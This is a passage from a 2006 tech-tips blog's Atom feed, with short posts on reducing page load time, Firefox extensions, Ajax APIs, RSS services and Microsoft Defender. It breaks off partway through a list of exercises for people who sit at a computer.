don't have more information. &lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Minimize HTTP request size. Often cookies are set domain-wide, which means they are also unnecessarily sent by the browser with every image request from within that domain. What might've been a 400 byte request for an image could easily turn into 1000 bytes or more once you add the cookie headers. If you have a lot of uncached or uncachable objects per page and big, domain-wide cookies, consider using a separate domain to host static content, and be sure to never set any cookies in it.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Minimize HTTP response size by enabling gzip compression for HTML and XML for browsers that support it. For example, the 17k document you are reading takes 90ms of the full downstream bandwidth of a user on 1.5Mbit DSL. Or it will take 37ms when compressed to 6.8k. That's 53ms off of the full page load time for a simple change. If your HTML is bigger and more redundant, you'll see an even greater improvement.&lt;/p&gt;&lt;p&gt;If you are brave, you could also try to figure out which set of browsers will handle compressed Javascript properly. (Hint: IE4 through IE6 asks for its javascript compressed, then breaks badly if you send it that way.) Or look into Javascript obfuscators that strip out whitespace, comments, etc and usually get it down to 1/3 to 1/2 its original size.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Consider locating your small objects (or a mirror or cache of them) closer to your users in terms of network latency. For larger sites with a global reach, either use a commercial &lt;a href="http://en.wikipedia.org/wiki/Content_Delivery_Network"&gt;Content Delivery Network&lt;/a&gt;, or add a colo within 50ms of 80% of your users and use one of the many &lt;a href="http://en.wikipedia.org/wiki/Global_Server_Load_Balancing"&gt;available methods&lt;/a&gt; for routing user requests to your colo nearest them.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Regularly use your site from a realistic net connection. Convincing the web developers on my project to use a "slow proxy" that simulates bad DSL in New Zealand (768Kbit down, 128Kbit up, 250ms RTT, 1% packet loss) rather than the gig ethernet a few milliseconds from the servers in the U.S. was a huge win. We found and fixed a number of usability and functional problems very quickly.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;i&gt;(Optional)&lt;/i&gt; Petition browser vendors to turn on HTTP pipelining by default on new browsers. Doing so will remove some of the need for these tricks and make much of the web feel much faster for the average user. (Firefox has this disabled supposedly because some proxies and some versions of IIS choke on pipelined requests. But there are workarounds.)&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;The above list covers improving the speed of communication between browser and server and can be applied generally to many sites, regardless of what web server software they use or what language the code behind their site is written in.&lt;/p&gt;&lt;p&gt;The techniques of measurement and experimentation can be applied to other sources of latency. For example, try benchmarking common pages on your site with &lt;a href="http://httpd.apache.org/docs/trunk/programs/ab.html"&gt;ab&lt;/a&gt;, which comes with the &lt;a href="http://httpd.apache.org/"&gt;Apache webserver&lt;/a&gt;. If your server is taking longer than 5 or 10 milliseconds to generate a page, you should make sure you have a good understanding of where it is spending its time.&lt;/p&gt;&lt;p&gt;&lt;a title="Tips to reduce your page load time" href="http://www.die.net/musings/page_load_time/" target="_blank" rel="Tips to reduce your page load time"&gt;Get more information&lt;/a&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9561783-116231467887828501?l=eshwar123.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://eshwar123.blogspot.com/feeds/116231467887828501/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9561783&amp;postID=116231467887828501' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9561783/posts/default/116231467887828501'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9561783/posts/default/116231467887828501'/><link rel='alternate' type='text/html' href='http://eshwar123.blogspot.com/2006/10/tips-to-reduce-your-page-load-time.html' title='Tips to reduce your page load time'/><author><name>eshwar</name><uri>http://www.blogger.com/profile/00372561741462677869</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9561783.post-116217898206970092</id><published>2006-10-30T08:59:00.000+05:30</published><updated>2006-10-30T08:59:42.086+05:30</updated><title type='text'>Using firefox browser without mouse</title><content type='html'>&lt;p&gt;Did you ever want to use your browser without needing a mouse? Most browsers have useful keyboard shortcuts that may help you do basic tasks like opening a new tab or entering a web address. But how do you move from one page to another one without clicking on links.&lt;br /&gt;&lt;br /&gt;Firefox has a simple trick: press ' (single quote) and you can search through the links from a page by typing a string in the small box from the bottom of the window. So you could type the first characters from the anchor and when the link you want to open has focus, press enter. But what if the page has only links with this anchor "click here"? And what about buttons and image links?&lt;br /&gt;&lt;br /&gt;Hit-a-Hint is an extension for Firefox that wants to solve this problem. The idea is that you press a magic key and, after that, each link from the page has a unique combination. All you have to do is press the keys attached to that link. Fortunately, the extension uses numbers, so in most cases, you'll type only one or two numeric keys.&lt;br /&gt;&lt;br /&gt;To install this extension, &lt;a href="https://addons.mozilla.org/firefox/1341/"&gt;visit this page&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;After you restart your browser, you can use the extension this way: press space (space is the magic key) and then one of the unique numbers next your favorite link, while still pressing space. Then release the space key. To open the page in a new tab, press Ctrl before releasing space key.&lt;br /&gt;&lt;br /&gt;If you don't like keeping space key pressed, you can just press h, type the numeric combination, and then press enter.&lt;/p&gt;&lt;p&gt;&lt;a title="Use firefox browser without mouse" href="http://googlesystem.blogspot.com/2006/10/magic-of-browsing-web-without-mouse.html" target="_blank" rel="Use firefox browser without mouse"&gt;Get more information&lt;/a&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9561783-116217898206970092?l=eshwar123.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://eshwar123.blogspot.com/feeds/116217898206970092/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9561783&amp;postID=116217898206970092' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9561783/posts/default/116217898206970092'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9561783/posts/default/116217898206970092'/><link rel='alternate' type='text/html' href='http://eshwar123.blogspot.com/2006/10/using-firefox-browser-without-mouse.html' title='Using firefox browser without mouse'/><author><name>eshwar</name><uri>http://www.blogger.com/profile/00372561741462677869</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9561783.post-116217891197968018</id><published>2006-10-30T08:58:00.000+05:30</published><updated>2006-10-30T08:58:31.986+05:30</updated><title type='text'>Microsoft Atlas beta release needs a new development approach with Ajax</title><content type='html'>he new &lt;a href="http://ajaxian.com/archives/aspnet-ajax-beta-released" target="_blank"&gt;Beta of Atlas has been released&lt;/a&gt; and that it isn't called Atlas anymore but ASP.NET Ajax. Lots of changes have been introduced, including the renaming of the &lt;code&gt;$()&lt;/code&gt; function to &lt;code&gt;$get()&lt;/code&gt; to allow it to work with other Javascript libraries. Maybe it's not quite Beta quality, says Rick Strahl in his recent post entitled &lt;a href="http://west-wind.com/weblog/posts/8282.aspx" target="_blank"&gt;More MS Ajax Pain&lt;/a&gt;. &lt;p&gt;The truth is we're all still learning how to build, debug, test and support Ajax applications. See the various development tips from Ajax framework developers on how to debug applications festooned with Ajax widgets. New abstraction, inderection and other plumbing will make it easier to develop, but harder to debug and productivity is bound to go down before it goes up. It's been a long time since I've had any direct insight into Microsoft's internal development practices, but I have to believe they are struggling to find qualified Javascript programmers just like everyone else, just as I'm sure they're struggling to extend their unit, system and regression testing processes to cover the far more intricate logic on the browser.&lt;/p&gt;&lt;p&gt;At the end of the day, it looks to me that MS's approach of incrementally improving ASP.NET will be just good enough to allow them to capture the biggest market share for .NET Ajax. But TibCo GI, Echo2 (when the .NET version comes out), etc., all look to have more interesting offerings, IMHO, even for big corporate players who want to stick to .NET, especially if the productivity of their developers goes up.&lt;/p&gt;&lt;p&gt;&lt;a title="review on microsoft atlas beta release" href="http://blogs.pathf.com/agileajax/2006/10/even_microsoft_.html" target="_blank" rel="review on microsoft atlas beta release"&gt;Get more information&lt;/a&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9561783-116217891197968018?l=eshwar123.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://eshwar123.blogspot.com/feeds/116217891197968018/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9561783&amp;postID=116217891197968018' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9561783/posts/default/116217891197968018'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9561783/posts/default/116217891197968018'/><link rel='alternate' type='text/html' href='http://eshwar123.blogspot.com/2006/10/microsoft-atlas-beta-release-needs-new.html' title='Microsoft Atlas beta release needs a new development approach with Ajax'/><author><name>eshwar</name><uri>http://www.blogger.com/profile/00372561741462677869</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9561783.post-116217863823582483</id><published>2006-10-30T08:53:00.000+05:30</published><updated>2006-10-30T08:53:58.246+05:30</updated><title type='text'>Find good feeds at Feeds that matter</title><content type='html'>&lt;p&gt;Want to find a few good feeds? Try &lt;a href="http://ftm.umbc.edu/"&gt;Feeds That Matter&lt;/a&gt;, an interesting grouping of publicly listed feeds at Bloglines:&lt;/p&gt;&lt;div&gt;&lt;div class="imBorderBottom" style="MARGIN-BOTTOM: 15px"&gt;&lt;div class="imBorderLeft"&gt;&lt;div class="imBorderRight"&gt;&lt;div class="imCornerBottomLeft"&gt;&lt;div class="imCornerBottomRight"&gt;&lt;div class="imCornerTopLeft"&gt;&lt;div class="imCornerTopRight"&gt;&lt;p class="roundedBorderBQ" id="rbbq0.8358776201423974"&gt;There are about 83K publicly listed users on bloglines and they have a combined 2,786,687 feed subscriptions. Roughly 35% of these publicly listed users organize their feeds into folders. On an average there are about 20 feeds per folder. By analyzing this data and combining merging folders that are very similar, we have come up with an automatic way of creating a taxonomy of popular topics and make it easy to find feeds that are most relevant to that topic. &lt;/p&gt;&lt;p class="roundedBorderBQ"&gt;&lt;a title="find good feeds at feeds that matter" href="http://www.lifehacker.com/software/bloglines/find-feeds-that-matter-209796.php" target="_blank" rel="find good feeds at feeds that matter"&gt;Get more information&lt;/a&gt;&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9561783-116217863823582483?l=eshwar123.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://eshwar123.blogspot.com/feeds/116217863823582483/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9561783&amp;postID=116217863823582483' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9561783/posts/default/116217863823582483'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9561783/posts/default/116217863823582483'/><link rel='alternate' type='text/html' href='http://eshwar123.blogspot.com/2006/10/find-good-feeds-at-feeds-that-matter.html' title='Find good feeds at Feeds that matter'/><author><name>eshwar</name><uri>http://www.blogger.com/profile/00372561741462677869</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9561783.post-116217826431510692</id><published>2006-10-30T08:47:00.000+05:30</published><updated>2006-10-30T08:47:44.323+05:30</updated><title type='text'>Google Ajax search code in your website</title><content type='html'>&lt;p&gt;The &lt;a href="http://code.google.com/apis/ajaxsearch/"&gt;Google AJAX Search API&lt;/a&gt; is &amp;ldquo;an experimental API that lets you integrate a &lt;strong&gt;dynamic Google search module into your web pages&lt;/strong&gt; so your users can mash up Google search results with other content on your site or add search results clippings to their own content.&amp;rdquo;&lt;/p&gt;&lt;p&gt;The AJAX Search API is currently in &lt;strong&gt;Version 0.1&lt;/strong&gt; and its an experiment designed to get developer feedback. Version 1.0 to be launched later will likely contain advertising. To use the API, you must sign up for a &lt;strong&gt;Google AJAX Search API key&lt;/strong&gt;, which you&amp;rsquo;ll include in the URL with which you access the API.&lt;/p&gt;&lt;p&gt;The AJAX Search API is available for all sites that are accessible to consumers without charge. The Google AJAX Search API is currently available on Firefox, Safari, and IE 6. Put Google AJAX Search on your web site. &lt;/p&gt;&lt;p&gt;&lt;a title="google ajax search code in your website" href="http://www.quickonlinetips.com/archives/2006/06/put-google-ajax-search-on-your-web-site/" target="_blank" rel="google ajax search code in your website"&gt;Get more information&lt;/a&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9561783-116217826431510692?l=eshwar123.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://eshwar123.blogspot.com/feeds/116217826431510692/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9561783&amp;postID=116217826431510692' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9561783/posts/default/116217826431510692'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9561783/posts/default/116217826431510692'/><link rel='alternate' type='text/html' href='http://eshwar123.blogspot.com/2006/10/google-ajax-search-code-in-your.html' title='Google Ajax search code in your website'/><author><name>eshwar</name><uri>http://www.blogger.com/profile/00372561741462677869</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9561783.post-116217816800124374</id><published>2006-10-30T08:46:00.000+05:30</published><updated>2006-10-30T08:46:08.010+05:30</updated><title type='text'>Feedpass an easy rss feed subscription service</title><content type='html'>&lt;p&gt;&lt;a href="http://www.feedpass.com/"&gt;Feedpass&lt;/a&gt; offers to provide a single page allowing your website visitors to easily subscribe to your blog RSS feed using all services possible. &lt;/p&gt;&lt;p&gt;Each visitor has their own favourite way of reading blogs. Some use &lt;strong&gt;rss aggregators&lt;/strong&gt; like Bloglines, MyYahoo, Rojo etc. Some like &lt;strong&gt;rss to email&lt;/strong&gt; delivery of your posts using services like rmail, rssfwd or feedblitz. It provides quick links to all these services to let readers subscribe to your blog easily. Then it lists the headlines of the most recent posts from your feed and lets users bookmarks your posts on &lt;strong&gt;social bookmarking tools&lt;/strong&gt; like del.icio.us, furl, spurl, etc..&lt;/p&gt;&lt;p&gt;Feedpass lets you &lt;strong&gt;earn extra money from your feedpass&lt;/strong&gt; pages if you add your Google AdSense id code. The targeted contextual ads which load on that page will display ads with your Google adsense id and will earn you money when people click on them.&lt;/p&gt;&lt;p&gt;&lt;a title="RSS feed subscription made easy with feedpass" href="http://www.quickonlinetips.com/archives/2006/05/feedpass-easy-rss-feed-subscription-and-adsense-money/" target="_blank" rel="RSS feed subscription made easy with feedpass"&gt;Get more information&lt;/a&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9561783-116217816800124374?l=eshwar123.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://eshwar123.blogspot.com/feeds/116217816800124374/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9561783&amp;postID=116217816800124374' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9561783/posts/default/116217816800124374'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9561783/posts/default/116217816800124374'/><link rel='alternate' type='text/html' href='http://eshwar123.blogspot.com/2006/10/feedpass-easy-rss-feed-subscription.html' title='Feedpass an easy rss feed subscription service'/><author><name>eshwar</name><uri>http://www.blogger.com/profile/00372561741462677869</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9561783.post-116217788203908826</id><published>2006-10-30T08:41:00.000+05:30</published><updated>2006-10-30T08:41:22.046+05:30</updated><title type='text'>With Gickr create your animated gifs easily</title><content type='html'>&lt;p&gt;You had to do a little bit of work to create your own animated GIFs, but not anymore thanks to &lt;a href="http://www.gickr.com/"&gt;Gickr&lt;/a&gt;. &lt;a href="http://www.gickr.com/"&gt;Gickr&lt;/a&gt; works by taking images from (where else?) &lt;http:&gt;Flickr. If you already have a &lt;a href="http://www.flickr.com/"&gt;Flickr&lt;/a&gt; account, you can enter your username and a photo tag, and choose images which you&amp;rsquo;d like to use to create your animated GIF. Don&amp;rsquo;t have a &lt;a href="http://www.flickr.com/"&gt;Flickr&lt;/a&gt; account? No problem! &lt;a href="http://www.gickr.com/"&gt;Gickr&lt;/a&gt; lets you upload up to 10 different images to create your animated GIF. The best thing about &lt;a href="http://www.gickr.com/"&gt;Gickr&lt;/a&gt; is that it&amp;rsquo;s free and there is no registration required.&lt;/p&gt;&lt;div class="centered"&gt;&lt;p&gt;&lt;img title="With Gickr create your animated gifs easily" alt="With Gickr create your animated gifs easily" src="http://www.tipmonkies.com/wp-content/uploads/2006/10/gicker.jpg" /&gt;&lt;/p&gt;&lt;p&gt;&lt;a title="With Gickr create your animated gifs easily" href="http://www.tipmonkies.com/2006/10/28/create-your-own-animated-gifs-w-gickr/" target="_blank" rel="With Gickr create your animated gifs easily"&gt;Get more information&lt;/a&gt;&lt;/p&gt;&lt;/div&gt;&lt;/http:&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9561783-116217788203908826?l=eshwar123.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://eshwar123.blogspot.com/feeds/116217788203908826/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9561783&amp;postID=116217788203908826' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9561783/posts/default/116217788203908826'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9561783/posts/default/116217788203908826'/><link rel='alternate' type='text/html' href='http://eshwar123.blogspot.com/2006/10/with-gickr-create-your-animated-gifs.html' title='With Gickr create your animated gifs easily'/><author><name>eshwar</name><uri>http://www.blogger.com/profile/00372561741462677869</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9561783.post-116217767209208839</id><published>2006-10-30T08:37:00.000+05:30</published><updated>2006-10-30T08:37:52.100+05:30</updated><title type='text'>Use L8ter to monitor down time your website</title><content type='html'>&lt;p&gt;&amp;nbsp;As your site grows in popularity you are bound to face some downtime with your site, particularly if you end up getting &lt;a href="http://www.digg.com/"&gt;dugg&lt;/a&gt; or &lt;a href="http://www.slashdot.org/"&gt;slashdotted&lt;/a&gt;. Once your site reaches its bandwidth limit, users will start seeing error messages and may end up forgetting about your site and not coming now. There is a new service cleverly called &lt;a href="http://l8tr.org/"&gt;L8ter&lt;/a&gt; which should help out. If you find a site that&amp;rsquo;s down, but that you&amp;rsquo;d like to come back to, simply head over to &lt;a href="http://l8tr.org/"&gt;L8ter&lt;/a&gt; and enter the link of the site as well as your e-mail address. &lt;a href="http://l8tr.org/"&gt;L8ter&lt;/a&gt; will then query the site until it comes back up, then inform you, via e-mail so you can go back to it and check it out. Additionally, &lt;a href="http://l8tr.org/"&gt;L8ter&lt;/a&gt; offers a Firefox extension called &lt;a href="http://l8tr.org/l8tr-1.0.xpi"&gt;Monitor with L8ter&lt;/a&gt;, so you can monitor a site right from your browser. Like all great things, it&amp;rsquo;s 100% free.&lt;/p&gt;&lt;p&gt;&lt;a title="Use L8ter to monitor down time your website" href="http://www.tipmonkies.com/2006/10/29/monitor-downed-sites-with-l8ter/" target="_blank" rel="Use L8ter to monitor down time your website"&gt;Get more information&lt;/a&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9561783-116217767209208839?l=eshwar123.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://eshwar123.blogspot.com/feeds/116217767209208839/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9561783&amp;postID=116217767209208839' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9561783/posts/default/116217767209208839'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9561783/posts/default/116217767209208839'/><link rel='alternate' type='text/html' href='http://eshwar123.blogspot.com/2006/10/use-l8ter-to-monitor-down-time-your.html' title='Use L8ter to monitor down time your website'/><author><name>eshwar</name><uri>http://www.blogger.com/profile/00372561741462677869</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9561783.post-116217755639391015</id><published>2006-10-30T08:35:00.000+05:30</published><updated>2006-10-30T08:35:56.406+05:30</updated><title type='text'>Use Showcase extension to manage firefox tabs easily</title><content type='html'>&lt;div class="topindent"&gt;&lt;div class="ltfloater155"&gt;&lt;p&gt;&lt;a href="http://showcase.uworks.net/index.html"&gt;Showcase&lt;/a&gt; is one of those Firefox extensions which aren&amp;rsquo;t essential, but which add a little bit of eye candy and make the browser just a little bit more useful. If you have browsing habits like mine, then chances are that you keep at least 5, sometimes 10-20+, tabs open at once. Managing such a large number of tabs can be a little daunting, but not with &lt;a href="http://showcase.uworks.net/index.html"&gt;Showcase&lt;/a&gt;.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;&lt;a href="http://showcase.uworks.net/index.html"&gt;Showcase&lt;/a&gt; shows you thumbnail images of all open tabs. If you want to switch to a particular tab, just click on its thumbnail and you&amp;rsquo;re taken there, or you can select multiple tabs by holding CTRL on your keyboard and selecting those tabs. &lt;/p&gt;&lt;p&gt;&lt;img alt="Showcase" src="http://www.tipmonkies.com/wp-content/uploads/2006/10/showcase.jpg" /&gt;&lt;/p&gt;&lt;p&gt;&lt;a href="http://showcase.uworks.net/index.html"&gt;Showcase&lt;/a&gt; can show tabs in a tab, a new window, or in the Firefox sidebar. The extension is free and open-source and should work all Firefox version up to 2.0. &lt;/p&gt;&lt;p&gt;&lt;a title="easily manage firefox tabs with showcase" href="http://www.tipmonkies.com/2006/10/29/manage-firefox-tabs-with-showcase/" target="_blank" rel="easily manage firefox tabs with showcase"&gt;Get more information&lt;/a&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9561783-116217755639391015?l=eshwar123.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://eshwar123.blogspot.com/feeds/116217755639391015/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9561783&amp;postID=116217755639391015' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9561783/posts/default/116217755639391015'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9561783/posts/default/116217755639391015'/><link rel='alternate' type='text/html' href='http://eshwar123.blogspot.com/2006/10/use-showcase-extension-to-manage.html' title='Use Showcase extension to manage firefox tabs easily'/><author><name>eshwar</name><uri>http://www.blogger.com/profile/00372561741462677869</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9561783.post-116217739474927859</id><published>2006-10-30T08:33:00.000+05:30</published><updated>2006-10-30T08:33:14.836+05:30</updated><title type='text'>Defend your computer with Microsoft Defender</title><content type='html'>&lt;p&gt;&lt;a href="http://www.microsoft.com/athome/security/spyware/software/default.mspx"&gt;Microsoft Defender&lt;/a&gt; is a fantastic application and actually works quite well, maybe due in part to the fact that it wasn&amp;rsquo;t developed entirely in-house, as &lt;a href="http://www.microsoft.com/athome/security/spyware/software/default.mspx"&gt;Defender&lt;/a&gt; is the result of Microsoft buying out antispyware company GIANT. Regardless, &lt;a href="http://www.microsoft.com/athome/security/spyware/software/default.mspx"&gt;Defender&lt;/a&gt; is quite polished, and for the months that I used the product, I never had to worry about any kind of spyware invading my system. Thanks to its integration with Windows, &lt;a href="http://www.microsoft.com/athome/security/spyware/software/default.mspx"&gt;Defender&lt;/a&gt; also blocks popups and keeps you informed of security updates, all for free.&lt;/p&gt;&lt;p&gt;About &lt;a href="http://www.tipmonkies.com/2005/05/29/123/"&gt;Microsoft AntiSpyware&lt;/a&gt; back in May of last year, while the product was still in early beta stages. Since then, Microsoft has changed the name of the application from AntiSpyware to &lt;a href="http://www.microsoft.com/athome/security/spyware/software/default.mspx"&gt;Defender&lt;/a&gt;, and after many, many months in closed beta, has finally released it to the public.&lt;/p&gt;&lt;p&gt;&lt;a title="Defend your computer with Microsoft Defender" href="http://www.tipmonkies.com/2006/10/29/microsoft-releases-defender/" target="_blank" rel="Defend your computer with Microsoft Defender"&gt;Get more information&lt;/a&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9561783-116217739474927859?l=eshwar123.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://eshwar123.blogspot.com/feeds/116217739474927859/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9561783&amp;postID=116217739474927859' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9561783/posts/default/116217739474927859'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9561783/posts/default/116217739474927859'/><link rel='alternate' type='text/html' href='http://eshwar123.blogspot.com/2006/10/defend-your-computer-with-microsoft.html' title='Defend your computer with Microsoft Defender'/><author><name>eshwar</name><uri>http://www.blogger.com/profile/00372561741462677869</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9561783.post-116202887315032678</id><published>2006-10-28T15:17:00.000+05:30</published><updated>2006-10-28T15:17:53.613+05:30</updated><title type='text'>How to Exercise While Sitting at Your Computer</title><content type='html'>&lt;p&gt;Sitting at the computer all day is not exactly good for the body. If you have to be at a desk all day long, doing some simple things can improve your posture and health. &lt;/p&gt;&lt;a name="Steps"&gt;&lt;/a&gt;&lt;h4&gt;Steps &lt;/h4&gt;&lt;div&gt;&lt;ol&gt;&lt;li&gt;Sit properly in a good chair designed for desk work. Your back should be straight, and your head should be looking directly into your monitor. If you have to look down or up, you need to adjust the height of either the screen or your chair. If you keep leaning forward, first get your eyesight checked. If your eyesight is fine use a loose belt or string to tie yourself to the chair. After a while your posture will improve and you'll no longer need this restraint. &lt;/li&gt;&lt;li&gt;Maintain an ergonomic body posture while typing. Keep your legs bent at the knees so that the knees are only slightly higher than your hips. Feet should be flat on the floor or on a step stool of some sort. &lt;/li&gt;&lt;li&gt;Stand up every half hour. Walk around a few steps, stretch your legs, and give your eyes a break from focusing on your computer screen. This will also help prevent blood clots from developing in your legs. Blood clots are very common among middle age people, who generally use the computer a lot. &lt;/li&gt;&lt;li&gt;Roll your head around your neck periodically, but avoid rolling your head all the way back. Do the motion slowly clockwise for 1-3 iterations and then repeat in the opposite direction. &lt;/li&gt;&lt;li&gt;Roll your wrists regularly (this will help prevent carpal tunnel syndrome if you spend a lot of time typing). &lt;/li&gt;&lt;li&gt;Recognize that people tend to hunch in front of the keyboard. To counter that, perform the following exercise: open your arms wide as if you are going to hug someone, rotate your wrists externally (thumbs going up and back) and pull your shoulders back. You will feel a stretch in the scapula area. &lt;/li&gt;&lt;li&gt;Contract your abdominal and gluteal muscles, hold them there for a few seconds, then release. Do this all day long while you are in your chair. &lt;/li&gt;&lt;li&gt;Stretch your arms, legs, neck and torso while sitting. This will help prevent you from feeling stiff. &lt;/li&gt;&lt;li&gt;Take advantage of the downtime created by rebooting or large file downloads to get up and try something more ambitious such as doing a few push-ups, sit-ups, and/or jumping jacks. Beware of your snickering co-workers though. &lt;/li&gt;&lt;li&gt;Acquire a hand gripper. They are cheap, small and light. When you have to read something either on the screen or on paper, you probably won't be using your hands very often so squeeze your gripper. It is an excellent forearm workout. &lt;/li&gt;&lt;li&gt;Acquire an elastic band (also 